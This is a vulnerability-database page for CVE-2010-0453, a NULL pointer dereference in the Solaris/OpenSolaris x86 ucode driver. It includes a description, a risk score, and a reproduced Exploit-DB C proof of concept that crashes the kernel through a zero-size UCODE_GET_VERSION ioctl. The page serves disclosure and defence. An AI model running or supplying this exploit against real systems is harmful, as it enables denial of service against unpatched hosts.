CVE-2010-0453

medium

Published 2010-02-03 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

5.9

Description

The ucode_ioctl function in intel/io/ucode_drv.c in Sun Solaris 10 and OpenSolaris snv_69 through snv_133, when running on x86 architectures, allows local users to cause a denial of service (panic) via a request with a 0 size value to the UCODE_GET_VERSION IOCTL, which triggers a NULL pointer dereference in the ucode_get_rev function, related to retrieval of the microcode revision.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11351 dos solaris text · 2 KB

Patroklos Argyroudis · 2010-02-07

Solaris/Open Solaris UCODE_GET_VERSION IOCTL - Denial of Service

text exploit Source: Exploit-DB

/*
 * cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
 *
 * Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
 * ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
 *
 * http://www.trapkit.de/advisories/TKADV2010-001.txt
 * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
 *
 * Greets to Tobias Klein for discovering the vulnerability and for his
 * detailed (as always) advisory.
 *
 * $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUF_SIZE            64
#define UCODE_DEV           "/dev/ucode"

#define UCODE_IOC           (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION   (UCODE_IOC | 0)

typedef enum ucode_errno
{
    EM_OK,
    EM_FILESIZE,
    EM_OPENFILE,
    EM_FILEFORMAT,
    EM_HEADER,
    EM_CHECKSUM,
    EM_INVALIDARG,
    EM_NOMATCH,
    EM_HIGHERREV,
    EM_NOTSUP,
    EM_UPDATE,
    EM_SYS,
    EM_NOVENDOR,
    EM_NOMEM
} ucode_errno_t;

struct ucode_get_rev_struct
{
    uint32_t *ugv_rev;
    int ugv_size;
    ucode_errno_t ugv_errno;
};

int
main()
{
    int fd, ret;
    uint32_t buf[BUF_SIZE];
    struct ucode_get_rev_struct in_h;

    memset(buf, 0x41, BUF_SIZE);

    in_h.ugv_rev = buf;
    in_h.ugv_size = 0;

    fd = open(UCODE_DEV, O_RDONLY);
    ret = ioctl(fd, UCODE_GET_VERSION, &in_h);

    printf("[+] ret = %d\n", ret);
    printf("[+] ugv_errno = %d\n", in_h.ugv_errno);

    close(fd);
    return ret;
}

/* EOF */

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.